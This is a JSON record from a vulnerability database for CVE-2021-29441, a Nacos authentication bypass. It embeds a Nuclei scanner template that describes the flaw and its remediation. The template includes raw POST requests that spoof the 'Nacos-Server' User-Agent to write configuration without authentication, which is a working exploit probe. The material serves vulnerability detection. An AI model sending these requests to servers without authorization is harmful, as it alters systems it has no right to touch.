{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2021-29441/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2021-29441/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2021-29441/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2021-29441/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2021-29441/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2021-29441"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2021-29441"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2021/CVE-2021-29441.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2021-29441\n\ninfo:\n  name: Nacos <1.4.1 - Authentication Bypass\n  author: dwisiswant0\n  severity: critical\n  description: |\n    This template only works on Nuclei engine prior to version 2.3.3 and version >= 2.3.5.\n\n    In Nacos before version 1.4.1, when configured to use authentication (-Dnacos.core.auth.enabled=true)\n    Nacos uses the AuthFilter servlet filter to enforce authentication. This filter has a backdoor that\n    enables Nacos servers to bypass this filter and therefore skip authentication checks.\n    This mechanism relies on the user-agent HTTP header so it can be easily spoofed.\n    This issue may allow any user to carry out any administrative tasks on the Nacos server.\n  impact: |\n    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive data and potential compromise of the Nacos server.\n  remediation: |\n    Upgrade Nacos to version 1.4.1 or later to mitigate the authentication bypass vulnerability (CVE-2021-29441).\n  reference:\n    - https://securitylab.github.com/advisories/GHSL-2020-325_326-nacos/\n    - https://github.com/alibaba/nacos/issues/4701\n    - https://github.com/advisories/GHSA-36hp-jr8h-556f\n    - https://github.com/alibaba/nacos/pull/4703\n    - https://github.com/bakery312/Vulhub-Reproduce\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2021-29441\n    cwe-id: CWE-290\n    epss-score: 0.83483\n    epss-percentile: 0.99676\n    cpe: cpe:2.3:a:alibaba:nacos:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 2\n    vendor: alibaba\n    product: nacos\n  tags: cve2021,cve,nacos,auth-bypass,alibaba,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld HTTP/1.1\n        Host: {{Hostname}}\n        Accept: */*\n      - |\n        POST /nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld HTTP/1.1\n        Host: {{Hostname}}\n        Accept: */*\n        User-Agent: Nacos-Server\n\n    matchers-condition: and\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code_1 == 403\"\n          - \"status_code_2 == 200\"\n        condition: and\n\n      - type: dsl\n        dsl:\n          - \"contains(body_1, 'Forbidden')\"\n          - \"body_2 == 'true'\"\n        condition: and\n\n      - type: word\n        part: header\n        words:\n          - \"application/json\"\n# digest: 4a0a00473045022100f7903fd3014b261aea29a4b36935b24abb5e9a70afa37507ca1ed978b2087e810220083272d404568fe06e2f12bf075a49034b3d4c4177adbdb7d00f762fd095e50e:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2021-29441"
}